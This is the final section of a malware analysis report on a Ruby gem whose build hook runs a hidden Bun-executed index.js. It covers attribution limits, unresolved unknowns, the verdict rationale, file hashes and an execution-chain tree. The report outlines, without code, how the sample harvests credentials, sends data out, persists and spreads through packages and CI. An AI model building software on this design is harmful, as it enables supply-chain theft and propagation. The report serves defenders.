Malformed packaging, broken startup paths, conservative gates, reconnaissance defaults, and the terminal sidecar placeholder mean some routes may fail or remain dormant. A research specimen or an unfinished build is possible. However, the supplied entrypoint does not globally select a no-effects demonstration mode. It contains automatic collection/transmission, live mutation constructors, persistent execution setup, and an explicitly destructive supplied handler. An incomplete implementation of that design remains malicious.

C. Family consistency is not exact attribution

As secondary background, Wiz Research's Shai-Hulud/second-wave reporting and Socket's Shai-Hulud npm supply-chain reporting from 2025 describe combinations of Bun-based execution, developer/cloud credential harvesting, package propagation, GitHub-backed data exposure, and destructive behavior. Those traits support the Shai-Hulud-style consistency assessment.
The sample's recovered HTTPS configuration, msync-3f7a signed-message scheme, encrypted envelope construction, native entrypoint injection, and additional Ruby/Python/GitLab/cloud routes are the evidence for this report. We did not query external reporting or reputation services, compare a reference sample, or establish that these particular configuration values identify a published variant. We do not attribute an actor.

Unknowns

Unresolved question
What we examined and what stops the conclusion
Was this exact hook registered and executed in a released gem?
We read the hook, traced the adjacent payload, and proved it matches the repacker's generated hook. No gemspec/full gem or installation record was supplied; installation was prohibited.
Would the entrypoint pass its gates on a particular machine?
We reconstructed the parent/native environment, locale, CI, resource and debugger checks. We did not execute the programs or receive target-environment data.
What data was actually stolen or which mutations succeeded?
We traced collectors, raw-data retention, sender ordering, request checks and mutation consumers. No victim data, permissions, network trace, service responses or runtime records were supplied. Static capability is not an incident log.
What would current signed tasks or replacement destinations contain?
We recovered verification keys, message parsers, signature checks, evaluators and the persistent URL downloader. No signed external record or response was supplied, and external contact/fetching was prohibited.
Which generated packages, workflows or images would be accepted and later execute?
We inspected construction and activation conditions and performed inert format/arithmetic checks. We did not install, publish, trigger CI, push an image, or submit cloud commands. Concrete defects are reported rather than generalized into universal success or failure.
Are the native addons compatible with a particular Node/Bun host?
We disassembled the loader/registration paths and inspected dependencies and architecture. Host API/ABI and actual process launch were not exercised. Unresolved native indirect branches remain, with coverage quantified above.
No identified embedded sidecar layer remains unrecovered. Unknown future remote code and untested service/environment outcomes are separate limits; they do not justify describing the recovered program as harmless.

Verdict Rationale

We assign malicious, high confidence to the submitted set because its reachable design combines a legitimate-looking utility/build context with broad private-data collection, outbound transmission, persistent remote-code control, credential-driven propagation, anti-analysis checks, and a conditional destructive credential monitor.
The verdict is driven by index.js and its deliberate invocation from extconf.rb. It is not inherited mechanically from an unrelated bundled child, and it does not require claiming that strutil_core.rb itself steals data. The native children and text resources have demonstrated consumers or are explicitly separated as dormant/duplicate material.
The static-only constraint prevents conclusions about actual compromise or universal operational success. It does not leave hostile design ambiguous: even allowing for defective branches, unavailable credentials, and unknown future commands, the supplied code directly establishes behavior against the system owner's interests that slug conversion cannot explain.

About Delphos Labs Analysis

The Delphos platform analyzes compiled binaries directly and produces structured behavioral intelligence reports within minutes. This lets analysts understand what a binary does without manual analysis.

Request Access
Back to all reports
Share

Analyze your own artifacts

Request Access

File facts

File name

ext/strutil-core/index.js

SHA-256

306c1deec402e8b4a6478e7f0fe02194bcd224d37d8fc6ba61ad1951e8abd7a9

Family

Unattributed

File format

Script

File size

5,475,376 bytes

Delphos LabsDelphos Labs

No source code required. No signatures. No blind spots.

Company
About UsReportsBlogSecurity Trust CenterBug Bounty ProgramVulnerability Research Policy
Account
Privacy PolicyTerms of Service
Help & Feedback
Contact SupportEmail Us
Social
LinkedInXGitHub
Copyright © 2026 Delphos Labs Inc.
Compliance & memberships
SOC 2 Type IINVIDIA Inception ProgramFS-ISAC Early Stage Affiliate
    ext/strutil-core/extconf.rb c5264f3b9cf2f95c83a70b7dd7430aab8abc262b853dbbcd5386c3a8a9c74769 ext/strutil-core/index.js 306c1deec402e8b4a6478e7f0fe02194bcd224d37d8fc6ba61ad1951e8abd7a9 strutil_core.rb 66c1c6b6b2c47e96fa5fd328338b939e1360511ab5eb2dda6d9112f592259d6b
    ext/strutil-core/extconf.rb └─ runs adjacent index.js with Bun ├─ collection → transmission → credential-driven mutation ├─ RubyGems / Python / repository / CI / SSH / cloud paths └─ npm repacker ├─ modified package main file ├─ native.napi.node or native_win.node └─ .napi_cache = embedded sidecar bytes └─ native registration → Node wrapper → Bun └─ first nested full program build └─ its embedded sidecar → further full build └─ terminal native-sidecar comment strutil_core.rb └─ standalone slug utility; no supplied invocation of the chain above